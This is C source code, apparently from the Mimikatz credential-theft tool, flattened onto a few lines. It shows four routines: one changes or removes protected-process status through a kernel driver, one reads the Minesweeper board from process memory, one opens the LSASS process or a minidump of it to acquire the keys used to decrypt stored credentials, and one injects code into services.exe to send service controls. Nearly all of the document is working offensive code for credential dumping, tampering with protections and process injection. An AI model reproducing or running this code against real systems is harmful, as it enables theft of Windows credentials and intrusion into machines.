NTSTATUS kuhl_m_kernel_processProtect(int argc, wchar_t * argv[]) { MIMIDRV_PROCESS_PROTECT_INFORMATION protectInfos = {0, {0, 0, {0, 0, 0}}}; PCWCHAR szProcessName, szPid; BOOL isUnprotect; if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_VISTA) { isUnprotect = kull_m_string_args_byName(argc, argv, L"remove", NULL, NULL); if(kull_m_string_args_byName(argc, argv, L"process", &szProcessName, NULL)) { kprintf(L"Process : %s\n", szProcessName); if(!kull_m_process_getProcessIdForName(szProcessName, &protectInfos.processId)) PRINT_ERROR_AUTO(L"kull_m_process_getProcessIdForName"); } else if(kull_m_string_args_byName(argc, argv, L"pid", &szPid, NULL)) { protectInfos.processId = wcstoul(szPid, NULL, 0); } else PRINT_ERROR(L"Argument /process:program.exe or /pid:processid needed\n"); if(protectInfos.processId) { if(!isUnprotect) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8) { protectInfos.SignatureProtection.SignatureLevel = 1; } else if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE) { protectInfos.SignatureProtection.SignatureLevel = 0x0f; protectInfos.SignatureProtection.SectionSignatureLevel = 0x0f; } else { protectInfos.SignatureProtection.SignatureLevel = 0x3f; protectInfos.SignatureProtection.SectionSignatureLevel = 0x3f; protectInfos.SignatureProtection.Protection.Type = 2; protectInfos.SignatureProtection.Protection.Audit = 0; protectInfos.SignatureProtection.Protection.Signer = 6; } } kprintf(L"PID %u -> %02x/%02x [%1x-%1x-%1x]\n", protectInfos.processId, protectInfos.SignatureProtection.SignatureLevel, protectInfos.SignatureProtection.SectionSignatureLevel, protectInfos.SignatureProtection.Protection.Type, protectInfos.SignatureProtection.Protection.Audit, protectInfos.SignatureProtection.Protection.Signer); kull_m_kernel_mimidrv_simple_output(IOCTL_MIMIDRV_PROCESS_PROTECT, &protectInfos, sizeof(MIMIDRV_PROCESS_PROTECT_INFORMATION)); } else PRINT_ERROR(L"No PID\n"); } else PRINT_ERROR(L"Protected process not available before Windows Vista\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_minesweeper_infos(int argc, wchar_t * argv[]) { DWORD dwPid, r, c; HANDLE hProcess; PEB Peb; PIMAGE_NT_HEADERS pNtHeaders; PVOID G = NULL; STRUCT_MINESWEEPER_GAME Game; STRUCT_MINESWEEPER_BOARD Board; KULL_M_MEMORY_SEARCH sMemory = {{{NULL, NULL}, 0}, NULL}; KULL_M_MEMORY_ADDRESS aRemote = {NULL, NULL}, aBuffer = {PTRN_WIN6_Game_SafeGetSingleton, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; BOOL bAlloc = FALSE; LONG offsetTemp = 0; CHAR ** field = NULL; if(kull_m_process_getProcessIdForName(L"minesweeper.exe", &dwPid)) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, dwPid)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aRemote.hMemory)) { if(kull_m_process_peb(aRemote.hMemory, &Peb, FALSE)) { aRemote.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&aRemote, &pNtHeaders)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = aRemote.hMemory; sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; if(kull_m_memory_search(&aBuffer, sizeof(PTRN_WIN6_Game_SafeGetSingleton), &sMemory, TRUE)) { aRemote.address = (PBYTE) sMemory.result + OFFS_WIN6_ToG; #ifdef _M_X64 aBuffer.address = &offsetTemp; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(LONG))) { aRemote.address = (PBYTE) aRemote.address + 1 + sizeof(LONG) + offsetTemp; #elif defined _M_IX86 aBuffer.address = &aRemote.address; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(PVOID))) { #endif aBuffer.address = &G; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(PVOID))) { aRemote.address = G; aBuffer.address = &Game; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(STRUCT_MINESWEEPER_GAME))) { #ifdef _M_IX86 if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) Game.pBoard = Game.pBoard_WIN7x86; #endif aRemote.address = Game.pBoard; aBuffer.address = &Board; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(STRUCT_MINESWEEPER_BOARD))) { kprintf(L"Field : %u r x %u c\nMines : %u\n\n", Board.cbRows, Board.cbColumns, Board.cbMines); if(field = (CHAR **) LocalAlloc(LPTR, sizeof(CHAR *) * Board.cbRows)) { for(r = 0, bAlloc = TRUE; (r < Board.cbRows) && bAlloc; r++) { if(field[r] = (CHAR *) LocalAlloc(LPTR, sizeof(CHAR) * Board.cbColumns)) bAlloc &= TRUE; else PRINT_ERROR(L"Memory C (R = %u)\n", r); } } else PRINT_ERROR(L"Memory R\n"); if(bAlloc) { kuhl_m_minesweeper_infos_parseField(aRemote.hMemory, Board.ref_visibles, field, TRUE); kuhl_m_minesweeper_infos_parseField(aRemote.hMemory, Board.ref_mines, field, FALSE); for(r = 0; r < Board.cbRows; r++) { kprintf(L"\t"); for(c = 0; c < Board.cbColumns; c++) kprintf(L"%C ", field[r][c]); kprintf(L"\n"); } } if(field) { for(r = 0; r < Board.cbRows; r++) { if(field[r]) LocalFree(field[r]); } LocalFree(field); } } else PRINT_ERROR(L"Board copy\n"); } else PRINT_ERROR(L"Game copy\n"); } else PRINT_ERROR(L"G copy\n"); } else PRINT_ERROR(L"Global copy\n"); } else PRINT_ERROR(L"Search is KO\n"); LocalFree(pNtHeaders); } else PRINT_ERROR(L"Minesweeper NT Headers\n"); } else PRINT_ERROR(L"Minesweeper PEB\n"); kull_m_memory_close(aRemote.hMemory); } CloseHandle(hProcess); } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR(L"No MineSweeper in memory!\n"); return STATUS_SUCCESS; } void kuhl_m_minesweeper_infos_parseField(PKULL_M_MEMORY_HANDLE hMemory, PSTRUCT_MINESWEEPER_REF_ELEMENT base, CHAR ** field, BOOL isVisible) { STRUCT_MINESWEEPER_REF_ELEMENT ref_first_element; PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_columns_elements; STRUCT_MINESWEEPER_REF_ELEMENT ref_column_element; DWORD c, r, szFinalElement = isVisible ? sizeof(DWORD) : sizeof(BYTE); KULL_M_MEMORY_ADDRESS aRemote = {base, hMemory}, aLocal = {&ref_first_element, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; if(kull_m_memory_copy(&aLocal, &aRemote, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT))) { if(ref_columns_elements = (PSTRUCT_MINESWEEPER_REF_ELEMENT *) LocalAlloc(LPTR, sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT) * ref_first_element.cbElements)) { aLocal.address = ref_columns_elements; aRemote.address = ref_first_element.elements; if(kull_m_memory_copy(&aLocal, &aRemote, ref_first_element.cbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT))) { for(c = 0; c < ref_first_element.cbElements; c++) { aLocal.address = &ref_column_element; aRemote.address = ref_columns_elements[c]; if(kull_m_memory_copy(&aLocal, &aRemote, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT))) { if(aLocal.address = LocalAlloc(LPTR, szFinalElement * ref_column_element.cbElements)) { aRemote.address = ref_column_element.elements; if(kull_m_memory_copy(&aLocal, &aRemote, szFinalElement * ref_column_element.cbElements)) { for(r = 0; r < ref_column_element.cbElements; r++) { if(isVisible) field[r][c] = DISP_MINESWEEPER[((DWORD *)(aLocal.address))[r]]; else if(((BYTE *)(aLocal.address))[r]) field[r][c] = '*'; } } else PRINT_ERROR(L"Unable to read elements from column: %u\n", c); LocalFree(aLocal.address); } } else PRINT_ERROR(L"Unable to read references from column: %u\n", c); } } else PRINT_ERROR(L"Unable to read references\n"); LocalFree(ref_columns_elements); } } else PRINT_ERROR(L"Unable to read first element\n"); }
NTSTATUS kuhl_m_sekurlsa_acquireLSA() { NTSTATUS status = STATUS_SUCCESS; KULL_M_MEMORY_TYPE Type; HANDLE hData = NULL; DWORD pid; PMINIDUMP_SYSTEM_INFO pInfos; DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE; BOOL isError = FALSE; if(!cLsass.hLsassMem) { status = STATUS_NOT_FOUND; if(NT_SUCCESS(lsassLocalHelper->initLocalLib())) { if(pMinidumpName) { Type = KULL_M_MEMORY_TYPE_PROCESS_DMP; kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName); hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); } else { Type = KULL_M_MEMORY_TYPE_PROCESS; if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid)) hData = OpenProcess(processRights, FALSE, pid); else PRINT_ERROR(L"LSASS process not found (?)\n"); } if(hData && hData != INVALID_HANDLE_VALUE) { if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem)) { if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP) { if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream)) { cLsass.osContext.MajorVersion = pInfos->MajorVersion; cLsass.osContext.MinorVersion = pInfos->MinorVersion; cLsass.osContext.BuildNumber = pInfos->BuildNumber; if(isError = (cLsass.osContext.MajorVersion != MIMIKATZ_NT_MAJOR_VERSION) && !(MIMIKATZ_NT_MAJOR_VERSION >= 6 && cLsass.osContext.MajorVersion == 10)) PRINT_ERROR(L"Minidump pInfos->MajorVersion (%u) != MIMIKATZ_NT_MAJOR_VERSION (%u)\n", pInfos->MajorVersion, MIMIKATZ_NT_MAJOR_VERSION); #ifdef _M_X64 else if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64)) PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64); #elif defined _M_IX86 else if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL)) PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL); #endif } else { isError = TRUE; PRINT_ERROR(L"Minidump without SystemInfoStream (?)\n"); } } else { cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION; cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION; cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER; } if(!isError) { kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8); kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2); if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent) { kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module; if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module)) { status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations); if(!NT_SUCCESS(status)) PRINT_ERROR(L"Key import\n"); } else PRINT_ERROR(L"Logon list\n"); } else PRINT_ERROR(L"Modules informations\n"); } } else PRINT_ERROR(L"Memory opening\n"); } else PRINT_ERROR_AUTO(L"Handle on memory"); if(!NT_SUCCESS(status)) { cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem); CloseHandle(hData); } } else PRINT_ERROR(L"Local LSA library failed\n"); } return status; }
BOOL kuhl_service_sendcontrol_inprocess(PWSTR ServiceName, DWORD dwControl) { BOOL status = FALSE; DWORD processId, szCode; PVOID pCode; HANDLE hProcess; KULL_M_MEMORY_ADDRESS aRemoteFunc; KULL_M_MEMORY_ADDRESS aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC currentReference; PEB Peb; PIMAGE_NT_HEADERS pNtHeaders; PREMOTE_LIB_INPUT_DATA iData; REMOTE_LIB_OUTPUT_DATA oData; if(kull_m_process_getProcessIdForName(L"services.exe", &processId)) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, processId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory)) { if(!pScSendControl) { if(kull_m_process_peb(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, &Peb, FALSE)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&sMemory.kull_m_memoryRange.kull_m_memoryAdress, &pNtHeaders)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; if(currentReference = kull_m_patch_getGenericFromBuild(ScSendControlReferences, ARRAYSIZE(ScSendControlReferences), MIMIKATZ_NT_BUILD_NUMBER)) { aLocalMemory.address = currentReference->Search.Pattern; if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE)) pScSendControl = (PBYTE) sMemory.result + currentReference->Offsets.off0; else PRINT_ERROR_AUTO(L"kull_m_memory_search"); } LocalFree(pNtHeaders); } } } if(pScSendControl) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_std_thread_end - (PBYTE) kuhl_service_sendcontrol_std_thread); pCode = kuhl_service_sendcontrol_std_thread; } else { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_fast_thread_end - (PBYTE) kuhl_service_sendcontrol_fast_thread); pCode = kuhl_service_sendcontrol_fast_thread; } if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, pCode, szCode, NULL, &aRemoteFunc)) { if(iData = kull_m_remotelib_CreateInput(pScSendControl, dwControl, (DWORD) (wcslen(ServiceName) + 1) * sizeof(wchar_t), ServiceName)) { if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData)) { if(oData.outputStatus) kprintf(L"error %u\n", oData.outputStatus); else kprintf(L"OK!\n"); } else PRINT_ERROR_AUTO(L"kull_m_remotelib_create"); LocalFree(iData); } kull_m_memory_free(&aRemoteFunc, 0); } else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n"); } else PRINT_ERROR(L"Not available without ScSendControl\n"); kull_m_memory_close(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory); } CloseHandle(hProcess); } else PRINT_ERROR_AUTO(L"OpenProcess"); } return status; }